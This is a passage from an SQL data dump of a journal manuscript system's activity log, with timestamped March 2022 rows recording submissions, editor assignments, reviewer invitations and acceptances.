comments',12493,'Reviewer',8782),(116816,'0000-00-00 00:00:00','Publisher : Notified Editor',12493,'Publisher',75),(116817,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12493,'Editor',161),(116818,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12493,'Editor',161),(116819,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12493,'Publisher',75),(116820,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12493,'Publisher',75),(116821,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12493,'Publisher',75),(116824,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12572,'Publisher',48),(116825,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12571,'Publisher',48),(116828,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',12279,'Publisher',48),(116874,'0000-00-00 00:00:00','Author sent Email',11951,'Author',12255),(116883,'0000-00-00 00:00:00','Manuscript Submitted by Author',12639,'Author',12849),(116892,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12648,'Author',12919),(116893,'2022-03-08 17:42:54','Manuscript Submitted by Author using Submission form',12649,'Author',12920),(116894,'2022-03-08 19:34:56','Manuscript Submitted by Author using Submission form',12649,'Author',12920),(116895,'2022-03-09 10:30:48','Manuscript Submitted by Author using Submission form',12650,'Author',12922),(116896,'2022-03-09 13:27:47','Publisher has been Assigned Editor',12582,'Publisher',48),(116897,'2022-03-09 13:28:01','Publisher has been Assigned Editor',12581,'Publisher',48),(116898,'2022-03-09 16:41:14','Reviewer has submitted comments',12497,'Reviewer',14684),(116899,'2022-03-09 16:54:31','Publisher has been Accepted Articles  article',12497,'',1045),(116900,'2022-03-09 17:06:16','Publisher has Invited Reviewer',12523,'Publisher',85),(116901,'2022-03-09 17:06:20','Publisher has Invited Reviewer',12523,'Publisher',85),(116902,'2022-03-09 17:06:24','Publisher has Invited Reviewer',12523,'Publisher',85),(116903,'2022-03-09 17:06:28','Publisher has Invited Reviewer',12523,'Publisher',85),(116904,'2022-03-09 17:06:32','Publisher has Invited Reviewer',12523,'Publisher',85),(116905,'2022-03-09 17:06:36','Publisher has Invited Reviewer',12523,'Publisher',85),(116906,'2022-03-09 17:06:40','Publisher has Invited Reviewer',12523,'Publisher',85),(116907,'2022-03-09 17:06:44','Publisher has Invited Reviewer',12523,'Publisher',85),(116908,'2022-03-09 17:06:48','Publisher has Invited Reviewer',12523,'Publisher',85),(116909,'2022-03-09 17:43:58','Publisher has Invited Reviewer',12530,'Publisher',48),(116910,'2022-03-09 17:44:02','Publisher has Invited Reviewer',12530,'Publisher',48),(116911,'2022-03-09 17:44:06','Publisher has Invited Reviewer',12530,'Publisher',48),(116912,'2022-03-09 17:44:52','Publisher has Invited Reviewer',12521,'Publisher',48),(116913,'2022-03-09 17:44:56','Publisher has Invited Reviewer',12521,'Publisher',48),(116914,'2022-03-09 17:45:01','Publisher has Invited Reviewer',12521,'Publisher',48),(116915,'2022-03-09 17:45:42','Publisher has Invited Reviewer',12506,'Publisher',48),(116916,'2022-03-09 17:45:46','Publisher has Invited Reviewer',12506,'Publisher',48),(116917,'2022-03-09 17:45:50','Publisher has Invited Reviewer',12506,'Publisher',48),(116918,'2022-03-09 17:45:54','Publisher has Invited Reviewer',12506,'Publisher',48),(116919,'2022-03-10 09:47:22','Publisher has been Assigned Editor',12579,'Publisher',85),(116920,'2022-03-10 09:47:37','Publisher has been Assigned Editor',12577,'Publisher',85),(116921,'2022-03-10 15:17:47','Reviewer has submitted comments',12521,'Reviewer',12532),(116922,'2022-03-10 15:19:34','Editor has Accepted to review Manuscript',12521,'Editor',194),(116923,'2022-03-10 15:19:48','Editor has been Editor Decision Accepted article',12521,'Editor',194),(116924,'2022-03-10 15:22:53','Reviewer has submitted comments',12521,'Reviewer',12532),(116925,'2022-03-10 15:28:24','Reviewer has submitted comments',12521,'Reviewer',12532),(116926,'2022-03-10 15:31:25','Publisher has been Accepted Articles  article',12521,'Publisher',48),(116927,'2022-03-10 16:44:40','Publisher has Invited Reviewer',12579,'Publisher',85),(116928,'2022-03-10 16:44:45','Publisher has Invited Reviewer',12579,'Publisher',85),(116929,'2022-03-10 16:44:49','Publisher has Invited Reviewer',12579,'Publisher',85),(116930,'2022-03-10 16:44:53','Publisher has Invited Reviewer',12579,'Publisher',85),(116931,'2022-03-10 16:44:57','Publisher has Invited Reviewer',12579,'Publisher',85),(116932,'2022-03-10 16:45:01','Publisher has Invited Reviewer',12579,'Publisher',85),(116933,'2022-03-10 16:45:05','Publisher has Invited Reviewer',12579,'Publisher',85),(116934,'2022-03-10 16:45:10','Publisher has Invited Reviewer',12579,'Publisher',85),(116935,'2022-03-10 16:45:14','Publisher has Invited Reviewer',12579,'Publisher',85),(116936,'2022-03-10 16:45:18','Publisher has Invited Reviewer',12579,'Publisher',85),(116937,'2022-03-10 16:45:22','Publisher has Invited Reviewer',12579,'Publisher',85),(116938,'2022-03-10 16:45:26','Publisher has Invited Reviewer',12579,'Publisher',85),(116939,'2022-03-10 16:45:30','Publisher has Invited Reviewer',12579,'Publisher',85),(116940,'2022-03-10 16:45:34','Publisher has Invited Reviewer',12579,'Publisher',85),(116941,'2022-03-10 16:45:38','Publisher has Invited Reviewer',12579,'Publisher',85),(116942,'2022-03-10 16:45:42','Publisher has Invited Reviewer',12579,'Publisher',85),(116943,'2022-03-10 16:45:46','Publisher has Invited Reviewer',12579,'Publisher',85),(116944,'2022-03-10 16:47:36','Publisher has Invited Reviewer',12577,'Publisher',85),(116945,'2022-03-10 16:47:40','Publisher has Invited Reviewer',12577,'Publisher',85),(116946,'2022-03-10 16:47:44','Publisher has Invited Reviewer',12577,'Publisher',85),(116947,'2022-03-10 16:47:48','Publisher has Invited Reviewer',12577,'Publisher',85),(116948,'2022-03-10 16:47:52','Publisher has Invited Reviewer',12577,'Publisher',85),(116949,'2022-03-10 16:47:57','Publisher has Invited Reviewer',12577,'Publisher',85),(116950,'2022-03-10 16:48:01','Publisher has Invited Reviewer',12577,'Publisher',85),(116951,'2022-03-10 16:48:05','Publisher has Invited Reviewer',12577,'Publisher',85),(116952,'2022-03-10 16:48:10','Publisher has Invited Reviewer',12577,'Publisher',85),(116953,'2022-03-10 16:48:14','Publisher has Invited Reviewer',12577,'Publisher',85),(116954,'2022-03-10 16:48:18','Publisher has Invited Reviewer',12577,'Publisher',85),(116955,'2022-03-10 16:48:22','Publisher has Invited Reviewer',12577,'Publisher',85),(116956,'2022-03-10 16:48:26','Publisher has Invited Reviewer',12577,'Publisher',85),(116957,'2022-03-10 16:48:30','Publisher has Invited Reviewer',12577,'Publisher',85),(116958,'2022-03-10 16:48:34','Publisher has Invited Reviewer',12577,'Publisher',85),(116959,'2022-03-10 16:48:38','Publisher has Invited Reviewer',12577,'Publisher',85),(116960,'2022-03-10 16:48:42','Publisher has Invited Reviewer',12577,'Publisher',85),(116961,'2022-03-10 16:48:46','Publisher has Invited Reviewer',12577,'Publisher',85),(116962,'2022-03-10 16:48:50','Publisher has Invited Reviewer',12577,'Publisher',85),(116963,'2022-03-10 16:48:54','Publisher has Invited Reviewer',12577,'Publisher',85),(116964,'2022-03-10 16:51:04','Manuscript Submitted by Publisher',12650,'Publisher',85),(116965,'2022-03-10 17:03:41','Manuscript Submitted by Publisher',12651,'Publisher',85),(116966,'2022-03-10 17:09:50','Reviewer has submitted comments',12579,'Reviewer',10962),(116967,'2022-03-10 17:17:34','Manuscript Submitted by Publisher',12652,'Publisher',85),(116968,'2022-03-10 17:20:04','Manuscript Submitted by Publisher',12653,'Publisher',85),(116969,'2022-03-10 17:25:55','Manuscript Submitted by Publisher',12654,'Publisher',85),(116970,'2022-03-10 22:27:50','Manuscript Submitted by Author using Submission form',12655,'Author',12926),(116971,'2022-03-11 09:13:36','Manuscript Submitted by Author',12656,'Author',9267),(116972,'2022-03-11 09:54:19','Manuscript Submitted by Author',12657,'Author',9267),(116973,'2022-03-11 10:27:26','Manuscript Submitted by Author',12658,'Author',9267),(116974,'2022-03-11 10:49:08','Manuscript Submitted by Author',12659,'Author',9267),(116975,'2022-03-11 10:57:15','Manuscript Submitted by Author',12660,'Author',9267),(116976,'2022-03-11 11:11:04','Manuscript Submitted by Author',12661,'Author',9267),(116977,'2022-03-11 11:39:23','Publisher has been Assigned Editor',12651,'Publisher',85),(116978,'2022-03-11 11:46:09','Publisher has Invited Reviewer',12571,'Publisher',48),(116979,'2022-03-11 11:46:14','Publisher has Invited Reviewer',12571,'Publisher',48),(116980,'2022-03-11 11:46:19','Publisher has Invited Reviewer',12571,'Publisher',48),(116981,'2022-03-11 11:52:05','Publisher has been Assigned Editor',12654,'Publisher',85),(116982,'2022-03-11 11:52:32','Publisher has been Assigned Editor',12653,'Publisher',85),(116983,'2022-03-11 11:54:19','Publisher has been Assigned Editor',12652,'Publisher',85),(116984,'2022-03-11 11:57:44','Manuscript Updated',12651,'Publisher',85),(116985,'2022-03-11 12:07:49','Editor has Accepted to review Manuscript',12651,'Editor',1343),(116986,'2022-03-11 12:07:58','Editor has been Editor Decision Accepted article',12651,'Editor',1343),(116987,'2022-03-11 13:17:51','Publisher has been Accepted Articles  article',12651,'Publisher',85),(116988,'2022-03-11 13:22:28','Editor has Accepted to review Manuscript',12652,'Editor',1251),(116989,'2022-03-11 13:22:36','Editor has been Editor Decision Accepted article',12652,'Editor',1251),(116990,'2022-03-11 13:23:37','Publisher has been Accepted Articles  article',12652,'Publisher',85),(116991,'2022-03-11 13:25:41','Editor has Accepted to review Manuscript',12653,'Editor',1343),(116992,'2022-03-11 13:25:52','Editor has been Editor Decision Accepted article',12653,'Editor',1343),(116993,'2022-03-11 13:36:43','Publisher has been Accepted Articles  article',12653,'Publisher',85),(116994,'2022-03-11 13:37:21','Editor has Accepted to review Manuscript',12654,'Editor',1291),(116995,'2022-03-11 13:37:31','Editor has been Editor Decision Accepted article',12654,'Editor',1291),(116996,'2022-03-11 13:42:46','Publisher has been Accepted Articles  article',12654,'Publisher',85),(116997,'2022-03-11 17:21:01','Publisher has been Assigned Editor',12650,'Publisher',85),(116998,'2022-03-11 17:22:34','Editor has Accepted to review Manuscript',12650,'Editor',1343),(116999,'2022-03-11 17:22:44','Editor has been Editor Decision Accepted article',12650,'Editor',1343),(117000,'2022-03-11 17:54:23','Manuscript Updated',12650,'Publisher',85),(117001,'2022-03-11 17:54:44','Publisher has been Accepted Articles  article',12650,'Publisher',85),(117002,'2022-03-11 23:08:43','Manuscript Submitted by Author',12663,'Author',9267),(117003,'2022-03-12 07:56:38','Manuscript Submitted by Author',12664,'Author',9267),(117004,'2022-03-12 09:03:29','Manuscript Submitted by Author',12665,'Author',9267),(117005,'2022-03-13 02:14:26','Editor has Invited Reviewer',12654,'Editor',1291),(117006,'2022-03-13 02:14:30','Editor has Invited Reviewer',12654,'Editor',1291),(117007,'2022-03-13 02:14:34','Editor has Invited Reviewer',12654,'Editor',1291),(117008,'2022-03-14 12:56:53','Publisher has been Assigned Editor',12665,'Publisher',48),(117009,'2022-03-14 12:57:20','Publisher has been Assigned Editor',12664,'Publisher',48),(117010,'2022-03-14 12:57:34','Publisher has been Assigned Editor',12661,'Publisher',48),(117011,'2022-03-14 12:57:48','Publisher has been Assigned Editor',12660,'Publisher',48),(117012,'2022-03-14 12:57:58','Publisher has been Assigned Editor',12663,'',1045),(117013,'2022-03-14 12:58:02','Publisher has been Assigned Editor',12659,'Publisher',48),(117014,'2022-03-14 12:58:19','Publisher has been Assigned Editor',12658,'Publisher',48),(117015,'2022-03-14 12:58:35','Publisher has been Assigned Editor',12657,'Publisher',48),(117016,'2022-03-14 12:58:49','Publisher has been Assigned Editor',12656,'Publisher',48),(117017,'2022-03-14 14:19:41','Editor has been Editor Decision Accepted article',12397,'Editor',160),(117018,'2022-03-14 14:25:01','Publisher has been Accepted Articles  article',12397,'Publisher',75),(117019,'2022-03-14 19:52:28','Editor has Accepted to review Manuscript',12663,'Editor',195),(117020,'2022-03-14 19:53:11','Editor has Invited Reviewer',12663,'Editor',195),(117021,'2022-03-14 19:53:36','Editor has Invited Reviewer',12663,'Editor',195),(117022,'2022-03-14 19:53:40','Editor has Invited Reviewer',12663,'Editor',195),(117023,'2022-03-14 19:54:54','Editor has Invited Reviewer',12663,'Editor',195),(117024,'2022-03-14 19:54:58','Editor has Invited Reviewer',12663,'Editor',195),(117025,'2022-03-14 19:55:02','Editor has Invited Reviewer',12663,'Editor',195),(117026,'2022-03-14 19:55:07','Editor has Invited Reviewer',12663,'Editor',195),(117027,'2022-03-14 19:55:11','Editor has Invited Reviewer',12663,'Editor',195),(117028,'2022-03-14 19:55:15','Editor has Invited Reviewer',12663,'Editor',195),(117029,'2022-03-14 19:55:20','Editor has Invited Reviewer',12663,'Editor',195),(117030,'2022-03-14 19:55:24','Editor has Invited Reviewer',12663,'Editor',195),(117031,'2022-03-14 19:56:23','Editor has been Editor Decision Accepted article',4840,'Editor',195),(117032,'2022-03-15 10:26:46','Publisher has Invited Reviewer',12665,'Publisher',48),(117033,'2022-03-15 11:04:04','Publisher has Invited Reviewer',12570,'Publisher',85),(117034,'2022-03-15 11:04:08','Publisher has Invited Reviewer',12570,'Publisher',85),(117035,'2022-03-15 11:04:12','Publisher has Invited Reviewer',12570,'Publisher',85),(117036,'2022-03-15 11:04:17','Publisher has Invited Reviewer',12570,'Publisher',85),(117037,'2022-03-15 11:04:21','Publisher has Invited Reviewer',12570,'Publisher',85),(117038,'2022-03-15 11:04:25','Publisher has Invited Reviewer',12570,'Publisher',85),(117039,'2022-03-15 11:04:29','Publisher has Invited Reviewer',12570,'Publisher',85),(117040,'2022-03-15 11:04:33','Publisher has Invited Reviewer',12570,'Publisher',85),(117041,'2022-03-15 11:04:37','Publisher has Invited Reviewer',12570,'Publisher',85),(117042,'2022-03-15 11:04:41','Publisher has Invited Reviewer',12570,'Publisher',85),(117043,'2022-03-15 11:04:45','Publisher has Invited Reviewer',12570,'Publisher',85),(117044,'2022-03-15 11:04:49','Publisher has Invited Reviewer',12570,'Publisher',85),(117045,'2022-03-15 11:04:53','Publisher has Invited Reviewer',12570,'Publisher',85),(117046,'2022-03-15 11:04:57','Publisher has Invited Reviewer',12570,'Publisher',85),(117047,'2022-03-15 11:05:01','Publisher has Invited Reviewer',12570,'Publisher',85),(117048,'2022-03-15 11:05:05','Publisher has Invited Reviewer',12570,'Publisher',85),(117049,'2022-03-15 11:05:09','Publisher has Invited Reviewer',12570,'Publisher',85),(117050,'2022-03-15 11:05:13','Publisher has Invited Reviewer',12570,'Publisher',85),(117051,'2022-03-15 11:05:18','Publisher has Invited Reviewer',12570,'Publisher',85),(117052,'2022-03-15 11:05:22','Publisher has Invited Reviewer',12570,'Publisher',85),(117053,'2022-03-15 11:05:26','Publisher has Invited Reviewer',12570,'Publisher',85),(117054,'2022-03-15 11:05:30','Publisher has Invited Reviewer',12570,'Publisher',85),(117055,'2022-03-15 11:05:34','Publisher has Invited Reviewer',12570,'Publisher',85),(117056,'2022-03-15 11:05:38','Publisher has Invited Reviewer',12570,'Publisher',85),(117057,'2022-03-15 11:05:42','Publisher has Invited Reviewer',12570,'Publisher',85),(117058,'2022-03-15 11:05:46','Publisher has Invited Reviewer',12570,'Publisher',85),(117059,'2022-03-15 11:05:51','Publisher has Invited Reviewer',12570,'Publisher',85),(117060,'2022-03-15 11:05:55','Publisher has Invited Reviewer',12570,'Publisher',85),(117061,'2022-03-15 11:05:59','Publisher has Invited Reviewer',12570,'Publisher',85),(117062,'2022-03-15 11:06:03','Publisher has Invited Reviewer',12570,'Publisher',85),(117063,'2022-03-15 11:06:07','Publisher has Invited Reviewer',12570,'Publisher',85),(117064,'2022-03-15 11:06:11','Publisher has Invited Reviewer',12570,'Publisher',85),(117065,'2022-03-15 11:55:42','Manuscript Submitted by Author',12667,'Author',9267),(117066,'2022-03-15 22:51:26','Manuscript Submitted by Author',12668,'Author',12929),(117067,'2022-03-16 10:23:21','Publisher has Invited Reviewer',12572,'Publisher',48),(117068,'2022-03-16 10:37:04','Reviewer has submitted comments',12572,'Reviewer',17548),(117069,'2022-03-16 10:38:24','Editor has Accepted to review Manuscript',12572,'Editor',194),(117070,'2022-03-16 10:38:36','Editor has been Editor Decision Accepted article',12572,'Editor',194),(117071,'2022-03-16 10:43:29','Publisher has Invited Reviewer',12664,'Publisher',48),(117072,'2022-03-16 10:43:33','Publisher has Invited Reviewer',12664,'Publisher',48),(117073,'2022-03-16 10:43:37','Publisher has Invited Reviewer',12664,'Publisher',48),(117074,'2022-03-16 10:44:04','Publisher has Invited Reviewer',12661,'Publisher',48),(117075,'2022-03-16 10:44:08','Publisher has Invited Reviewer',12661,'Publisher',48),(117076,'2022-03-16 10:44:12','Publisher has Invited Reviewer',12661,'Publisher',48),(117077,'2022-03-16 10:44:55','Publisher has Invited Reviewer',12660,'Publisher',48),(117078,'2022-03-16 10:44:59','Publisher has Invited Reviewer',12660,'Publisher',48),(117079,'2022-03-16 10:45:03','Publisher has Invited Reviewer',12660,'Publisher',48),(117080,'2022-03-16 17:15:56','Publisher has been Assigned Editor',12667,'',1045),(117081,'2022-03-16 22:49:52','Manuscript Submitted by Author using Submission form',12669,'Author',12930),(117082,'2022-03-17 09:56:38','Publisher has been Accepted Articles  article',12572,'Publisher',48),(117083,'2022-03-17 09:59:22','Publisher has Invited Reviewer',12581,'Publisher',48),(117084,'2022-03-17 09:59:26','Publisher has Invited Reviewer',12581,'Publisher',48),(117085,'2022-03-17 09:59:30','Publisher has Invited Reviewer',12581,'Publisher',48),(117086,'2022-03-17 10:10:54','Publisher has Invited Reviewer',12582,'Publisher',48),(117087,'2022-03-17 10:10:59','Publisher has Invited Reviewer',12582,'Publisher',48),(117088,'2022-03-17 10:11:29','Publisher has Invited Reviewer',12656,'Publisher',48),(117089,'2022-03-17 10:11:33','Publisher has Invited Reviewer',12656,'Publisher',48),(117090,'2022-03-17 10:12:17','Publisher has Invited Reviewer',12657,'Publisher',48),(117091,'2022-03-17 10:12:21','Publisher has Invited Reviewer',12657,'Publisher',48),(117092,'2022-03-17 10:12:25','Publisher has Invited Reviewer',12657,'Publisher',48),(117093,'2022-03-17 10:20:52','Reviewer has been sent email to Publisher',12657,'Reviewer',11350),(117094,'2022-03-17 19:08:26','Manuscript Submitted by Author using Submission form',12670,'Author',12931),(117095,'2022-03-18 10:06:22','Publisher has Unassign Editor',12548,'Publisher',984),(117096,'2022-03-18 10:07:54','Publisher has Invited Reviewer',12548,'Publisher',984),(117097,'2022-03-18 10:18:03','Reviewer has submitted comments',12582,'Reviewer',18593),(117098,'2022-03-18 10:18:45','Editor has Accepted to review Manuscript',12582,'Editor',194),(117099,'2022-03-18 10:18:58','Editor has been Editor Decision Accepted article',12582,'Editor',194),(117100,'2022-03-21 10:28:31','Publisher has been Accepted Articles  article',12582,'Publisher',48),(117101,'2022-03-21 13:13:52','Publisher has been Assigned Editor',12669,'Publisher',48),(117102,'2022-03-21 13:14:12','Publisher has been Assigned Editor',12670,'Publisher',48),(117103,'2022-03-22 10:29:41','Publisher has Invited Reviewer',12658,'Publisher',48),(117104,'2022-03-22 10:29:45','Publisher has Invited Reviewer',12658,'Publisher',48),(117105,'2022-03-22 10:29:50','Publisher has Invited Reviewer',12658,'Publisher',48),(117106,'2022-03-22 10:30:25','Publisher has Invited Reviewer',12659,'Publisher',48),(117107,'2022-03-22 10:30:29','Publisher has Invited Reviewer',12659,'Publisher',48),(117108,'2022-03-22 10:30:33','Publisher has Invited Reviewer',12659,'Publisher',48),(117109,'2022-03-22 14:49:20','Manuscript Submitted by Author using Submission form',12678,'Author',12941),(117110,'2022-03-22 17:44:16','Reviewer has submitted comments',12659,'Reviewer',10975),(117111,'2022-03-22 17:44:21','Reviewer has submitted comments',12659,'Reviewer',10975),(117112,'2022-03-22 20:18:10','Reviewer has updated comments',12457,'Reviewer',5467),(117113,'2022-03-22 20:18:45','Reviewer has submitted comments',12667,'Reviewer',5467),(117114,'2022-03-22 20:26:15','Editor has been Editor Decision Accepted article',3498,'Editor',195),(117115,'2022-03-22 21:19:58','Manuscript Submitted by Author using Submission form',12680,'Author',12943),(117116,'2022-03-23 17:28:56','Manuscript Submitted by Author using Submission form',12681,'Author',12944),(117117,'2022-03-24 10:50:08','Manuscript Submitted by Author using Submission form',12685,'Author',12947),(117118,'2022-03-24 10:57:03','Manuscript Submitted by Author',12686,'Author',9267),(117119,'2022-03-24 11:21:49','Publisher has been Assigned Editor',12668,'Publisher',85),(117120,'2022-03-24 11:24:42','Publisher has Invited Reviewer',12668,'Publisher',85),(117121,'2022-03-24 11:24:46','Publisher has Invited Reviewer',12668,'Publisher',85),(117122,'2022-03-24 11:24:50','Publisher has Invited Reviewer',12668,'Publisher',85),(117123,'2022-03-24 11:24:54','Publisher has Invited Reviewer',12668,'Publisher',85),(117124,'2022-03-24 11:24:58','Publisher has Invited Reviewer',12668,'Publisher',85),(117125,'2022-03-24 11:25:04','Publisher has Invited Reviewer',12668,'Publisher',85),(117126,'2022-03-24 11:25:08','Publisher has Invited Reviewer',12668,'Publisher',85),(117127,'2022-03-24 11:25:12','Publisher has Invited Reviewer',12668,'Publisher',85),(117128,'2022-03-24 11:25:16','Publisher has Invited Reviewer',12668,'Publisher',85),(117129,'2022-03-24 11:25:20','Publisher has Invited Reviewer',12668,'Publisher',85),(117130,'2022-03-24 11:25:24','Publisher has Invited Reviewer',12668,'Publisher',85),(117131,'2022-03-24 14:33:39','Editor has Accepted to review Manuscript',12518,'Editor',161),(117132,'2022-03-24 14:33:50','Editor has been Editor Decision Accepted article',12518,'Editor',161),(117133,'2022-03-24 14:53:35','Publisher has been Accepted Articles  article',12518,'Publisher',75),(117134,'2022-03-24 16:52:15','Publisher has Invited Reviewer',12668,'Publisher',85),(117135,'2022-03-24 16:52:19','Publisher has Invited Reviewer',12668,'Publisher',85),(117136,'2022-03-24 16:52:23','Publisher has Invited Reviewer',12668,'Publisher',85),(117137,'2022-03-24 16:52:27','Publisher has Invited Reviewer',12668,'Publisher',85),(117138,'2022-03-24 16:52:31','Publisher has Invited Reviewer',12668,'Publisher',85),(117139,'2022-03-24 16:52:35','Publisher has Invited Reviewer',12668,'Publisher',85),(117140,'2022-03-24 16:52:39','Publisher has Invited Reviewer',12668,'Publisher',85),(117141,'2022-03-24 16:52:42','Publisher has Invited Reviewer',12668,'Publisher',85),(117142,'2022-03-24 16:52:46','Publisher has Invited Reviewer',12668,'Publisher',85),(117143,'2022-03-24 16:52:50','Publisher has Invited Reviewer',12668,'Publisher',85),(117144,'2022-03-24 16:52:54','Publisher has Invited Reviewer',12668,'Publisher',85),(117145,'2022-03-24 16:52:58','Publisher has Invited Reviewer',12668,'Publisher',85),(117146,'2022-03-24 16:53:03','Publisher has Invited Reviewer',12668,'Publisher',85),(117147,'2022-03-24 16:53:07','Publisher has Invited Reviewer',12668,'Publisher',85),(117148,'2022-03-24 16:53:10','Publisher has Invited Reviewer',12668,'Publisher',85),(117149,'2022-03-24 16:58:09','Publisher has Invited Reviewer',12579,'Publisher',85),(117150,'2022-03-24 16:58:20','Publisher has Invited Reviewer',12579,'Publisher',85),(117151,'2022-03-24 16:58:24','Publisher has Invited Reviewer',12579,'Publisher',85),(117152,'2022-03-24 16:58:28','Publisher has Invited Reviewer',12579,'Publisher',85),(117153,'2022-03-24 16:58:32','Publisher has Invited Reviewer',12579,'Publisher',85),(117154,'2022-03-24 16:58:36','Publisher has Invited Reviewer',12579,'Publisher',85),(117155,'2022-03-24 16:58:40','Publisher has Invited Reviewer',12579,'Publisher',85),(117156,'2022-03-24 16:58:44','Publisher has Invited Reviewer',12579,'Publisher',85),(117157,'2022-03-24 16:58:48','Publisher has Invited Reviewer',12579,'Publisher',85),(117158,'2022-03-24 16:58:52','Publisher has Invited Reviewer',12579,'Publisher',85),(117159,'2022-03-24 16:58:56','Publisher has Invited Reviewer',12579,'Publisher',85),(117160,'2022-03-24 16:58:59','Publisher has Invited Reviewer',12579,'Publisher',85),(117161,'2022-03-24 16:59:04','Publisher has Invited Reviewer',12579,'Publisher',85),(117162,'2022-03-24 16:59:08','Publisher has Invited Reviewer',12579,'Publisher',85),(117163,'2022-03-24 16:59:11','Publisher has Invited Reviewer',12579,'Publisher',85),(117164,'2022-03-24 16:59:15','Publisher has Invited Reviewer',12579,'Publisher',85),(117165,'2022-03-24 16:59:19','Publisher has Invited Reviewer',12579,'Publisher',85),(117166,'2022-03-24 16:59:23','Publisher has Invited Reviewer',12579,'Publisher',85),(117167,'2022-03-24 16:59:27','Publisher has Invited Reviewer',12579,'Publisher',85),(117168,'2022-03-24 16:59:31','Publisher has Invited Reviewer',12579,'Publisher',85),(117169,'2022-03-24 16:59:35','Publisher has Invited Reviewer',12579,'Publisher',85),(117170,'2022-03-24 16:59:39','Publisher has Invited Reviewer',12579,'Publisher',85),(117171,'2022-03-24 18:19:20','Publisher has been Assigned Editor',12680,'',1045),(117172,'2022-03-24 23:13:34','Reviewer has submitted comments',8943,'Reviewer',5467),(117173,'2022-03-24 23:15:07','Reviewer has submitted comments',12680,'Reviewer',5467),(117174,'2022-03-24 23:18:19','Reviewer has submitted comments',12667,'Reviewer',5467),(117175,'2022-03-24 23:19:06','Reviewer has submitted comments',12680,'Reviewer',5467),(117176,'2022-03-24 23:19:15','Reviewer has submitted comments',12667,'Reviewer',5467),(117177,'2022-03-24 23:19:49','Reviewer has submitted comments',12680,'Reviewer',5467),(117178,'2022-03-25 00:26:41','Reviewer has submitted comments',12570,'Reviewer',15588),(117179,'2022-03-25 00:26:45','Reviewer has submitted comments',12570,'Reviewer',15588),(117180,'2022-03-25 00:26:49','Reviewer has submitted comments',12570,'Reviewer',15588),(117181,'2022-03-25 00:26:54','Reviewer has submitted comments',12570,'Reviewer',15588),(117182,'2022-03-25 00:26:58','Reviewer has submitted comments',12570,'Reviewer',15588),(117183,'2022-03-25 00:27:01','Reviewer has submitted comments',12570,'Reviewer',15588),(117184,'2022-03-25 00:27:05','Reviewer has submitted comments',12570,'Reviewer',15588),(117185,'2022-03-25 00:27:10','Reviewer has submitted comments',12570,'Reviewer',15588),(117186,'2022-03-25 00:27:14','Reviewer has submitted comments',12570,'Reviewer',15588),(117187,'2022-03-25 00:27:18','Reviewer has submitted comments',12570,'Reviewer',15588),(117188,'2022-03-25 00:27:22','Reviewer has submitted comments',12570,'Reviewer',15588),(117189,'2022-03-25 09:40:35','Reviewer has submitted comments',12656,'Reviewer',14685),(117190,'2022-03-25 09:41:14','Editor has Accepted to review Manuscript',12656,'Editor',194),(117191,'2022-03-25 09:41:31','Editor has been Editor Decision Accepted article',12656,'Editor',194),(117192,'2022-03-25 09:44:28','Reviewer has submitted comments',12657,'Reviewer',11350),(117193,'2022-03-25 09:45:00','Editor has Accepted to review Manuscript',12657,'Editor',194),(117194,'2022-03-25 09:45:07','Editor has Accepted to review Manuscript',12658,'Editor',194),(117195,'2022-03-25 09:45:13','Editor has Accepted to review Manuscript',12659,'Editor',194),(117196,'2022-03-25 09:45:19','Editor has Accepted to review Manuscript',12660,'Editor',194),(117197,'2022-03-25 09:45:35','Editor has been Editor Decision Accepted article',12656,'Editor',194),(117198,'2022-03-25 09:45:55','Editor has been Editor Decision Accepted article',12658,'Editor',194),(117199,'2022-03-25 09:47:16','Publisher has been Accepted Articles  article',12656,'Publisher',48),(117200,'2022-03-25 09:49:57','Reviewer has submitted comments',12657,'Reviewer',11518),(117201,'2022-03-25 09:51:10','Publisher has been Accepted Articles  article',12658,'Publisher',48),(117202,'2022-03-25 09:53:10','Editor has been Editor Decision Accepted article',12657,'Editor',194),(117203,'2022-03-25 09:53:57','Publisher has been Accepted Articles  article',12657,'Publisher',48),(117204,'2022-03-25 13:34:02','Publisher has been Accepted Articles  article',12654,'Publisher',85),(117205,'2022-03-25 17:04:32','Reviewer has submitted comments',12659,'Reviewer',10976),(117206,'2022-03-25 17:06:16','Editor has been Editor Decision Accepted article',12659,'Editor',194),(117207,'2022-03-25 17:21:55','Publisher has been Accepted Articles  article',12659,'Publisher',48),(117208,'2022-03-25 17:41:05','Publisher has been Assigned Editor',12287,'Publisher',376),(117209,'2022-03-25 17:57:58','Publisher has been Assigned Editor',12434,'Publisher',376),(117210,'2022-03-25 17:58:12','Publisher has been Assigned Editor',12403,'Publisher',376),(117211,'2022-03-25 17:58:38','Publisher has been Assigned Editor',12386,'Publisher',376),(117212,'2022-03-25 17:58:58','Publisher has been Assigned Editor',11878,'Publisher',376),(117213,'2022-03-25 18:03:44','Publisher has been Assigned Editor',11573,'Publisher',376),(117214,'2022-03-26 09:05:58','Publisher has Invited Reviewer',12670,'Publisher',48),(117215,'2022-03-26 09:06:02','Publisher has Invited Reviewer',12670,'Publisher',48),(117216,'2022-03-26 09:06:06','Publisher has Invited Reviewer',12670,'Publisher',48),(117217,'2022-03-26 09:06:10','Publisher has Invited Reviewer',12670,'Publisher',48);
